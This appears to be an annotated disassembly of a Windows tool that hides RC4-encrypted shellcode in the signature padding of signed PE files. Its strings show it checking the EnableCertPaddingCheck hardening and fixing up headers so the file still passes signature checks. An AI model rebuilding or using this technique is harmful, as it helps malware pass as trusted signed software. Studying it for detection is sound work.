Function at 0x1400016b0
Capabilities:
Encrypt data using rc4 ksa
Get file size
Query or enumerate registry value
Read file on windows
Terminate process
Write file on windows

Disassembly:
push rbp
push rbx
push r14
lea rbp, [rsp - 0x5c0]
sub rsp, 0x6c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x5a0], rax
lea eax, [rcx - 4]
mov rbx, rdx
mov r14d, ecx
cmp eax, 2
jbe 0x1400016ec
mov rcx, qword [rdx]
call fcn.1400027c0
int3
mov qword [rsp + 0x6e0], rsi
lea rcx, [rbp + 0x2a0]
mov qword [rsp + 0x6f0], rdi
xor edx, edx
mov qword [rsp + 0x6f8], r12
mov r8d, 0xff
mov qword [rsp + 0x6b8], r13
mov qword [rsp + 0x6b0], r15
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rbp + 0x4a0]
mov r8d, 0xff
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rbp + 0x3a0]
mov r8d, 0xff
call sub.VCRUNTIME140.dll_memset
mov rax, qword [rbx + 8]
xor r13d, r13d
mov qword [rsp + 0x50], r13
mov edi, r13d
mov rsi, 0xffffffffffffffff
movsx ecx, byte [rax + 1]
sub ecx, 0x62
je 0x140001a7e
sub ecx, 6
je 0x140001a75
cmp ecx, 1
je 0x14000178a
mov rcx, qword [rbx]
call fcn.1400027c0
int3
lea rcx, [0x1400043f4]
call fcn.140001650
lea eax, [r14 - 5]
cmp eax, 1
jbe 0x1400017a8
mov rcx, qword [rbx]
call fcn.1400027c0
int3
mov rdx, qword [rbx + 0x10]
lea rcx, [rbp + 0x2a0]
test rdx, rdx
je 0x14000185b
movups xmm0, xmmword [rdx]
lea rcx, [rcx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rdx + 0x70]
sub rdx, 0xffffffffffffff80
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov rax, qword [rdx + 0x70]
mov qword [rcx + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
movzx eax, word [rdx + 0x7c]
mov word [rcx + 0x7c], ax
movzx eax, byte [rdx + 0x7e]
mov byte [rcx + 0x7e], al
jmp 0x140001878
mov r8d, 0xff
call sub.VCRUNTIME140.dll_memset
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [rax], 0x16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
mov rdx, qword [rbx + 0x18]
lea rcx, [rbp + 0x4a0]
test rdx, rdx
je 0x14000192b
movups xmm0, xmmword [rdx]
lea rcx, [rcx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rdx + 0x70]
sub rdx, 0xffffffffffffff80
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov rax, qword [rdx + 0x70]
mov qword [rcx + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
movzx eax, word [rdx + 0x7c]
mov word [rcx + 0x7c], ax
movzx eax, byte [rdx + 0x7e]
mov byte [rcx + 0x7e], al
jmp 0x140001948
mov r8d, 0xff
call sub.VCRUNTIME140.dll_memset
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [rax], 0x16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
mov rdx, qword [rbx + 0x20]
lea rcx, [rbp + 0x3a0]
test rdx, rdx
je 0x1400019fb
movups xmm0, xmmword [rdx]
lea rcx, [rcx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rdx + 0x70]
sub rdx, 0xffffffffffffff80
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov rax, qword [rdx + 0x70]
mov qword [rcx + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
movzx eax, word [rdx + 0x7c]
mov word [rcx + 0x7c], ax
movzx eax, byte [rdx + 0x7e]
mov byte [rcx + 0x7e], al
jmp 0x140001a18
mov r8d, 0xff
call sub.VCRUNTIME140.dll_memset
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [rax], 0x16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
mov r15d, 1
cmp r14d, 6
jne 0x140001c2f
mov rax, qword [rbx + 0x28]
mov rdi, rsi
nop
inc rdi
cmp byte [rax + rdi], r13b
jne 0x140001a30
lea ecx, [rdi + 1]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdx, qword [rbx + 0x28]
mov qword [rsp + 0x50], rax
mov r8d, edi
test edi, edi
je 0x140001c2f
test rax, rax
je 0x140001c1d
mov rcx, rax
test rdx, rdx
je 0x140001c16
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140001c2f
mov rcx, qword [rbx]
call fcn.1400027c0
int3
lea rcx, [0x1400043f4]
mov r15d, r13d
call fcn.140001650
mov rdx, qword [rbx + 0x10]
lea rcx, [rbp + 0x2a0]
test rdx, rdx
je 0x140001b40
movups xmm0, xmmword [rdx]
lea rcx, [rcx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rdx + 0x70]
sub rdx, 0xffffffffffffff80
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov rax, qword [rdx + 0x70]
mov qword [rcx + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
movzx eax, word [rdx + 0x7c]
mov word [rcx + 0x7c], ax
movzx eax, byte [rdx + 0x7e]
mov byte [rcx + 0x7e], al
jmp 0x140001b5d
mov r8d, 0xff
call sub.VCRUNTIME140.dll_memset
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [rax], 0x16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
mov rdx, qword [rbx + 0x18]
lea rcx, [rbp + 0x3a0]
test rdx, rdx
je 0x140001c10
movups xmm0, xmmword [rdx]
lea rcx, [rcx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rdx + 0x70]
sub rdx, 0xffffffffffffff80
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov rax, qword [rdx + 0x70]
mov qword [rcx + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
movzx eax, word [rdx + 0x7c]
mov word [rcx + 0x7c], ax
movzx eax, byte [rdx + 0x7e]
mov byte [rcx + 0x7e], al
jmp 0x140001c2f
mov r8d, 0xff
xor edx, edx
call sub.VCRUNTIME140.dll_memset
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [rax], 0x16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
lea rax, [rbp + 0x270]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareWow6432NodeMicrosoftCryptographyWintrustConfig
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140001c89
lea rax, [rbp + 0x270]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftCryptographyWintrustConfig
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001cea
mov rcx, qword [rbp + 0x270]
lea r9, [rbp + 0x280]
mov qword [rsp + 0x28], r13
lea rdx, str.EnableCertPaddingCheck
xor r8d, r8d
mov qword [rsp + 0x20], r13
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rbp + 0x270]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x140001cea
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.___:_Endpoint_hardened_against_authenticode_signature_padding__i.e_this_wont_work__s_n
call fcn.140001600
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rbp + 0x2a0]
mov qword [rsp + 0x58], r13
lea rcx, str.__:Loading_Parsing_PE_File__s_n_n
mov qword [rsp + 0x48], r13
mov dword [rbp + 0x278], r13d
mov r12d, r13d
mov qword [rbp + 0x270], rsi
mov r14, r13
mov qword [rsp + 0x68], r13
call fcn.140001650
mov qword [rsp + 0x30], r13
lea rcx, [rbp + 0x2a0]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x60], rax
mov rbx, rax
cmp rax, rsi
jne 0x140001d87
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea r8, [rbp + 0x2a0]
lea rdx, str.___:_Could_not_read_file__s_n
call fcn.140001600
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rbp + 0x2a0]
mov rax, rsi
cmp byte [rcx + rax + 1], r12b
lea rax, [rax + 1]
jne 0x140001d91
lea ecx, [rax + rax]
mov eax, 2
mul rcx
cmovb rax, rsi
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea rcx, [rbp + 0x2a0]
mov r8, rsi
nop
inc r8
cmp byte [rcx + r8], r12b
jne 0x140001dc0
inc r8
lea rdx, [rbp + 0x2a0]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
mov rdx, rbx
call fcn.140001490
test eax, eax
lea rdx, str.__:PE_File__s_is_NOT_SIGNED_n
lea rcx, str.__:PE_File__s_is_SIGNED_n
cmovne rcx, rdx
lea rdx, [rbp + 0x2a0]
call fcn.140001650
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r13d, eax
mov dword [rsp + 0x40], eax
call fcn.140001150
mov rbx, rax
test r15d, r15d
jne 0x140001e37
mov rcx, rsi
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140001e26
add r13d, ecx
mov dword [rsp + 0x40], r13d
mov ecx, r13d
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, dword [rsp + 0x40]
lea r9, [rbp + 0x278]
mov rcx, qword [rsp + 0x60]
mov rdx, rax
mov r13, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [rbp + 0x278], r12d
jne 0x140001e94
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea r8, [rbp + 0x2a0]
lea rdx, str.___:_Could_not_read_file__s_n
call fcn.140001600
mov rbx, rsi
jmp 0x14000276c
mov eax, 0x5a4d
cmp word [r13], ax
je 0x140001ec9
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea r8, [rbp + 0x2a0]
lea rdx, str._s_is_not_a_valid_PE_file_n
call fcn.140001600
mov rbx, rsi
jmp 0x14000276c
mov ecx, 0x29
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, qword [rsp + 0x60]
xor edx, edx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rdx, r14
mov rcx, r13
mov r8d, eax
call fcn.1400012d0
lea rdx, [rbp + 0x2a0]
test eax, eax
je 0x140001f0e
mov r8, r14
lea rcx, str.__:Current_PE_File__s_SHA1_Hash_is_:__s_n
call fcn.140001650
jmp 0x140001f23
lea rcx, str.___:Could_not_compute_PE__s_SHA1_Hash_n
call fcn.140001650
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
movsxd rax, dword [r13 + 0x3c]
lea rcx, [rbp + 0x80]
add rax, r13
lea rcx, [rcx + 0x80]
mov qword [rbp + 0x290], rax
movups xmm0, xmmword [rax + 0x18]
movups xmm1, xmmword [rax + 0x28]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax + 0x38]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax + 0x48]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax + 0x68]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax + 0x78]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax + 0x88]
sub rax, 0xffffffffffffff68
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, str.kernel32
mov dword [rbp + 0x288], r12d
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.IsWow64Process
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140002000
mov rcx, qword [rsp + 0x70]
lea rdx, [rbp + 0x288]
call rax
cmp dword [rbp + 0x288], r12d
je 0x14000201e
mov eax, 0x20b
cmp word [rbp + 0x80], ax
jne 0x140002037
mov eax, 2
jmp 0x14000203a
mov ecx, 0x10b
mov eax, r12d
cmp word [rbp + 0x80], cx
mov edx, 0xfffffffe
cmove eax, edx
jmp 0x14000203a
mov eax, r12d
lea eax, [rax + 4]
lea rax, [rax*8]
mov qword [rbp + 0x280], rax
test r15d, r15d
jne 0x140002185
lea rdx, [rbp + 0x2a0]
lea rcx, str.__:Bit_Flipping_PE_File__s_n
call fcn.140001650
mov r9, rsi
nop dword [rax + rax]
inc r9
cmp byte [rbx + r9], r12b
jne 0x140002070
mov r8, rbx
lea rdx, [rbp + 0x2a0]
lea rcx, str.__:Padding__s_with__s_of_size__d__n
call fcn.140001650
mov r8, rsi
inc r8
cmp byte [rbx + r8], r12b
jne 0x140002092
mov r14, qword [rbp + 0x280]
lea rax, [rbp + 0xf0]
mov rdx, rbx
mov edi, dword [rax + r14]
mov ecx, dword [rdi + r13]
add rcx, rdi
add rcx, r13
call sub.VCRUNTIME140.dll_memcpy
lea rcx, str.__:Updating_OPT_Header_Fields_Entries__n
call fcn.140001650
mov rax, rsi
nop
inc rax
cmp byte [rbx + rax], r12b
jne 0x1400020d0
add dword [rdi + r13], eax
lea rcx, str.__:Calculating_Updating_the_new_OPTHeader_checksum_n
mov rbx, qword [rbp + 0x290]
add dword [r14 + rbx + 0x8c], eax
call fcn.140001650
mov edi, dword [rsp + 0x40]
mov rcx, r13
mov edx, edi
call fcn.140001070
mov ecx, 0x29
mov dword [rbx + 0x58], eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, edi
mov rcx, r13
mov rdx, rax
mov r14, rax
call fcn.1400012d0
lea rdx, [rbp + 0x3a0]
test eax, eax
je 0x140002141
mov r8, r14
lea rcx, str.__:New_PE_File__s_SHA1_Hash_is_:__s_n
call fcn.140001650
jmp 0x140002156
lea rcx, str.___:Could_not_compute_PE__s_SHA1_Hash_n
call fcn.140001650
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rdx, [rbp + 0x3a0]
lea rcx, str.__:Saving_Bit_flipped_PE_to__s_n
call fcn.140001650
lea rdx, [0x14000465c]
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdx, rdi
jmp 0x140002687
cmp r15d, 1
jne 0x1400026a5
lea r8, [rbp + 0x2a0]
lea rdx, [rbp + 0x4a0]
lea rcx, str.__:Injecting_Data__sh311code__from__s_to_PE_File__s_n
call fcn.140001650
xor r15d, r15d
lea rcx, [rbp + 0x4a0]
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 0x270], rax
mov rbx, rax
cmp rax, rsi
jne 0x14000220e
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea r8, [rbp + 0x4a0]
lea rdx, str.___:_Could_not_read_data_file__s_n
call fcn.140001600
jmp 0x14000276c
xor edx, edx
mov dword [rbp + 0x278], r15d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov qword [rbp + 0x288], rcx
mov r15d, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, qword [rbp + 0x270]
lea r9, [rbp + 0x278]
mov rdx, rax
mov qword [rsp + 0x58], rax
mov r8d, r15d
mov qword [rsp + 0x20], r12
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [rbp + 0x278], r12d
jne 0x140002288
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea r8, [rbp + 0x4a0]
lea rdx, str.___:_Empty_data_file__s_n
call fcn.140001600
jmp 0x140002731
mov edx, r15d
lea rcx, str.__:Encrypting_Encoding_Data_with_size__d_n
call fcn.140001650
mov ecx, r15d
add ecx, 8
cmovb rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x48], rax
mov rbx, rax
test edi, edi
jne 0x140002324
movups xmm0, xmmword [str.randomkeyrandom]
xor ecx, ecx
movups xmmword [rbp + 0x290], xmm0
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
xor ebx, ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x38e38e39
imul r8d
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*8]
shl ecx, 3
sub r8d, ecx
add r8b, 0x30
mov byte [rbp + rbx + 0x290], r8b
inc rbx
cmp rbx, 0xf
jl 0x1400022d3
mov rbx, qword [rsp + 0x48]
lea r14, [rbp + 0x290]
mov qword [rsp + 0x50], r14
mov edi, 0xf
jmp 0x140002329
mov r14, qword [rsp + 0x50]
movabs rax, 0xcefaedfecefaedfe
xor r9d, r9d
xor r8d, r8d
mov qword [rbx], rax
xor r10d, r10d
xor r11d, r11d
nop dword [rax]
nop word [rax + rax]
mov eax, r10d
mov byte [rbp + r11 - 0x80], r10b
cdq
lea r11, [r11 + 1]
idiv edi
inc r10d
movsxd rax, edx
movzx ecx, byte [rax + r14]
mov byte [rbp + r11 + 0x16f], cl
cmp r10d, 0x100
jl 0x140002350
xor edx, edx
nop dword [rax]
movzx eax, byte [rbp + rdx + 0x170]
movzx r10d, byte [rbp + rdx - 0x80]
add r9d, eax
add r9d, r10d
and r9d, 0x800000ff
jge 0x1400023aa
dec r9d
or r9d, 0xffffff00
inc r9d
movsxd rax, r9d
movzx ecx, byte [rbp + rax - 0x80]
mov byte [rbp + rax - 0x80], r10b
mov byte [rbp + rdx - 0x80], cl
inc rdx
cmp rdx, 0x100
jl 0x140002380
xor r9d, r9d
test r15d, r15d
jle 0x140002457
mov r10, qword [rsp + 0x58]
sub rbx, r10
nop dword [rax + rax]
inc r8d
and r8d, 0x800000ff
jge 0x1400023f9
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rax, r8d
lea rcx, [rbp - 0x80]
add rcx, rax
movzx r11d, byte [rcx]
add r9d, r11d
and r9d, 0x800000ff
jge 0x140002420
dec r9d
or r9d, 0xffffff00
inc r9d
movsxd rax, r9d
lea rdx, [rbp - 0x80]
add rdx, rax
movzx eax, byte [rdx]
mov byte [rdx], r11b
mov byte [rcx], al
mov ecx, eax
movzx eax, byte [rdx]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rbp + rax - 0x80]
xor cl, byte [r10]
mov byte [rbx + r10 + 8], cl
inc r10
sub qword [rbp + 0x288], 1
jne 0x1400023e0
mov ebx, dword [rsp + 0x40]
add r15d, 8
lea eax, [rbx + r15]
test al, 7
je 0x1400024cb
inc r12d
inc eax
test al, 7
jne 0x140002467
mov ecx, r12d
add ecx, 1
cmovb rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor r9d, r9d
lea rdx, str._0d
mov rcx, rax
mov qword [rsp + 0x68], rax
mov r8d, r12d
mov rdi, rax
call fcn.140001010
mov rcx, qword [rsp + 0x48]
mov edx, r15d
add edx, r12d
cmovb rdx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov ecx, r15d
mov rdx, rdi
add rcx, rax
mov r8d, r12d
mov qword [rsp + 0x48], rax
call sub.VCRUNTIME140.dll_memcpy
add r15d, r12d
mov edx, ebx
mov rcx, r13
add edx, r15d
cmovb rdx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov rdx, qword [rsp + 0x48]
lea rcx, [rbp + 0x80]
lea rcx, [rcx + 0x80]
mov r8d, r15d
mov r13, rax
movsxd rdi, dword [rax + 0x3c]
add rdi, rax
movups xmm0, xmmword [rdi + 0x18]
lea rax, [rdi + 0x98]
movups xmm1, xmmword [rdi + 0x28]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdi + 0x38]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdi + 0x48]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdi + 0x68]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdi + 0x78]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdi + 0x88]
movups xmmword [rcx - 0x20], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rcx - 0x10], xmm1
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
lea rax, [rbp + 0xf0]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov rcx, qword [rbp + 0x280]
mov eax, dword [rax + rcx]
mov ecx, dword [rax + r13]
add rcx, rax
add rcx, r13
lea rbx, [rax + r13]
call sub.VCRUNTIME140.dll_memcpy
lea rcx, str.__:Updating_OPT_Header_Fields_Entries__n
call fcn.140001650
mov rax, qword [rbp + 0x280]
lea rcx, str.__:Calculating_Updating_the_new_OPTHeader_checksum_n
add dword [rbx], r15d
add dword [rax + rdi + 0x8c], r15d
call fcn.140001650
mov ebx, dword [rsp + 0x40]
mov rcx, r13
add ebx, r15d
mov edx, ebx
call fcn.140001070
mov edx, r15d
mov dword [rdi + 0x58], eax
lea rcx, str.__:Encrypted_Data_Size:__d_n
call fcn.140001650
mov edx, r12d
lea rcx, str.__:Extra_Padding:__d_n
call fcn.140001650
mov rdx, r14
lea rcx, str.__:Encryption_Key:__s_n
call fcn.140001650
mov ecx, 0x29
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
